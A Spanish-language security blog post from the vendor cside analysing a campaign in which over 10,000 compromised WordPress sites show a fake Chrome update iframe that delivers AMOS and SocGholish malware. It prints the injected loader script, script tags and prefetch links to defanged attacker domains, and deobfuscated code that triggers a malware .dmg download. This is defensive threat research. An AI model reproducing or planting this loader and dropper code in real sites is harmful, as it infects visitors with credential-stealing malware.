Skip to main content
Blog
Blog Attacks

10.000 sitios WordPress detectados distribuyendo malware para macOS y Windows

Identificamos más de 10.000 sitios WordPress que mostraban una falsa página de actualización del navegador Google, conduciendo a descargas de malware.

Jan 27, 2025 6 min read
10000-wordpress-image-cover

Resumen: iframe falso de actualización de Chrome con malware multiplataforma

  • Ambos payloads, un iframe: La vieja regla era AMOS en Mac, SocGholish en Windows, de dos bandas distintas. Esta campaña rompió esa regla y sirvió ambos desde el mismo iframe falso de actualización de Chrome en los mismos 10.000 sitios WordPress.
  • Ignorado por los threat feeds: El loader alojado en deski.fastcloudcdn[.]com fue marcado como 17 de 96 en VirusTotal y se vincularon 27 dominios hermanos a la operación. cside marcó el JS ofuscado inicial con alta confianza antes incluso de que el iframe llegara a renderizarse.
  • Qué hacer ahora: Si ejecutas WordPress 6.7.1 o un plugin sin parchear, asume que ya cargas un script que ningún threat feed detecta. Añade inspección de scripts en tiempo de ejecución esta semana o descubre el compromiso la próxima vez que un visitante te llame.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

Esta semana identificamos más de 10.000 sitios WordPress que mostraban páginas falsas de actualización del navegador Google a sus visitantes mediante un iframe.

La página distribuye malware multiplataforma: tanto AMOS (Atomic macOS Stealer), dirigido a usuarios de Apple, como SocGholish, dirigido a usuarios de Windows.

Página falsa de actualización del navegador Google mostrada a los visitantes de un sitio WordPress comprometido mediante un iframe

Se trata de malware popular y disponible comercialmente que lleva tiempo circulando. Las dos variantes de malware suelen atribuirse a grupos de atacantes distintos, una división que este hallazgo contradice.

Hasta donde sabemos, es también la primera vez que se distribuyen mediante un ataque del lado del cliente. El JavaScript cargado en el navegador del usuario genera la página falsa dentro de un iframe. Los atacantes usan versiones desactualizadas de WordPress y de sus plugins para dificultar la detección en sitios que no cuentan con una herramienta de monitorización del lado del cliente.

Es probable que los atacantes hayan aprovechado una vulnerabilidad en un plugin de WordPress para distribuir el JavaScript malicioso. Este archivo actualmente no está marcado por ningún proveedor de feeds de amenazas, ni tampoco el dominio.

Resultados de VirusTotal que muestran el archivo malicioso sin detección por ningún proveedor antivirus
Resultados de VirusTotal que muestran el dominio malicioso sin detección por ningún proveedor de seguridad

Estos son dos de los dominios más grandes identificados en miles de sitios web:

Detalles técnicos

Usando nuestro motor de detección, encontramos un archivo JS de terceros inicialmente sospechoso en la siguiente URL:

https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js

Nuestra plataforma lo marcó como script malicioso con alta confianza debido a su naturaleza altamente ofuscada, que utilizaba múltiples niveles de codificación. Esto motivó un análisis más profundo que nos llevó a descubrir una red de más de 10.000 sitios WordPress infectados.

Un ejemplo de sitio comprometido está disponible en nuestro directorio de dominios.

Script inyectado con múltiples capas de codificación hallado en los sitios WordPress comprometidos

Blackshelter[.]org redirige al usuario a fastcloudcdn[.]com, que aloja el JavaScript malicioso.

JavaScript malicioso alojado en fastcloudcdn[.]com que distribuye el malware

Después identificamos múltiples scripts maliciosos alojados en distintos dominios.

<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://blacksaltys[.]com/2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0" id="ms_main_script-js" defer></script>
<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://objmapper[.]com/CtmE0s2ZteC8BuQLNprxjCPB8gAgAcIi7niu-9oX3Q2e" id="ucf_main_script-js" defer></script>

Varios sitios contienen elementos **** diseñados para hacer prefetch de DNS de dominios maliciosos, probablemente para mejorar el rendimiento de sus operaciones:

<link rel='dns-prefetch' href='//rednosehorse[.]com' />
<link rel='dns-prefetch' href='//blacksaltys[.]com' />
<link rel='dns-prefetch' href='//objmapper[.]com' />
<link rel='dns-prefetch' href='//blackshelter[.]org' />

Una función anónima autoinvocada carga dinámicamente un archivo JavaScript externo:

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

El script externo se carga y ejecuta dinámicamente, con un parámetro de consulta (qbsfsc) que contiene una marca de tiempo Unix para eludir los mecanismos de caché.

Comportamiento malicioso observado

El script ofuscado ejecuta varias acciones.

Primero, detiene toda actividad en curso del navegador.

window.stop();

Elimina atributos como class, style, id, … etc, de los elementos HTML.

for (let at of [["class", "style", "lang", "id", "dir"]]) {
    el.removeAttribute(at);}

Después, inyecta dinámicamente el iframe en la página, mostrando la falsa página de actualización de Chrome.

let frame = document.createElement("iframe");
frame.srcdoc = rsd;
document.body.appendChild(frame);

Análisis y hallazgos

Nuestro análisis reveló que los sitios comprometidos ejecutaban versiones desactualizadas de WordPress (6.7.1) y de sus plugins, que los atacantes pudieron haber explotado para inyectar código malicioso.

Identificamos 27 dominios maliciosos vinculados a esta actividad.

Algunos ejemplos son:

  • blacksaltys[.]com
  • objmapper[.]com
  • rednosehorse[.]com
  • Blackshelter[.]org

El script malicioso en https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js mostró una tasa de detección de 17/96 en el informe de VirusTotal.

Durante nuestro análisis, descubrimos que esta campaña apunta tanto a plataformas Windows como macOS. Logramos descargar un archivo dmg asociado al malware para macOS.

Malware para macOS y Windows descifrado

El archivo de malware (274efb6bb2f95deb7c7f8192919bf690d69c3f3a441c81fe2a24284d5f274973), en el momento del análisis, estaba marcado por 6 proveedores de antivirus.

El siguiente código fue descubierto tras múltiples capas de desofuscación. Crea y descarga dinámicamente el archivo de malware AMOS (Atomic Mac OS Stealer) para macOS.

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
</head>
<body>
    <script>
        (async () => {
            try {
                var btn = document.createElement("a");
                btn.href = `hxxps://extendedstaybrunswick[.]com/wp-content/plugins/reset-wp/resty.php?eg=${Math.floor(Date.now() / 1000)}`;
                btn.download = "C_6.12.4.dmg";
                document.body.appendChild(btn);

                parent.postMessage("loaded", "*");
                window.addEventListener("message", function (event) {
                    if (event.data == "download") {
                        setTimeout(function () {
                            btn.click();
                        }, 100);
                    }
                });
            } catch (e) { }
        })()
    </script>
</body>
</html>

El script genera dinámicamente un botón de descarga vinculado al payload del malware para macOS. Escucha un evento "message" con el valor "download", que desencadena la descarga del archivo.

Aquí tienes dos fuentes para saber más sobre el malware AMOS.

Aquí tienes una fuente para saber más sobre el malware SocGholish para Windows.

Tanto AMOS como SocGholish son malware disponibles comercialmente y pueden adquirirse en Telegram.

Mitigación y protección

Como primer paso, actualiza tu instalación de WordPress. Actualiza tus plugins, evalúa su uso y elimina los que no utilices. Busca los scripts y, si los encuentras, elimínalos. Los atacantes casi siempre dejan una puerta trasera. Encuéntrala y elimínala.

Si encuentras estos scripts en tu sitio, recomendamos encarecidamente revisar los registros de los últimos 90 días para identificar cualquier indicador de compromiso o actividad maliciosa.

Si has descargado algún archivo de los sitios afectados, se recomienda realizar una limpieza exhaustiva del sistema para mitigar una posible infección por malware.

cside puede detectar, alertar y bloquear ataques del lado del cliente como estos gracias a nuestro avanzado motor de detección y proxy. Este ataque habría sido detectado y bloqueado con cside instalado, protegiendo a los usuarios desprevenidos de la descarga de malware.

Este ataque es un recordatorio para asegurar la cadena de suministro web y mantener el software actualizado. Con base en nuestro análisis, recomendamos lo siguiente:

Puedes comenzar gratis o contactarnos.

Lista completa de sitios web infectados

Encuentra enlaces seguros a las páginas de PublicWWW de los dominios infectados:

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Te enseñaremos:

Qué scripts de terceros se están ejecutando ahora mismo en tu sitio
En qué punto estás con los requisitos 6.4.3 y 11.6.1 de PCI DSS
Qué parte de tu tráfico son bots y agentes de IA

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco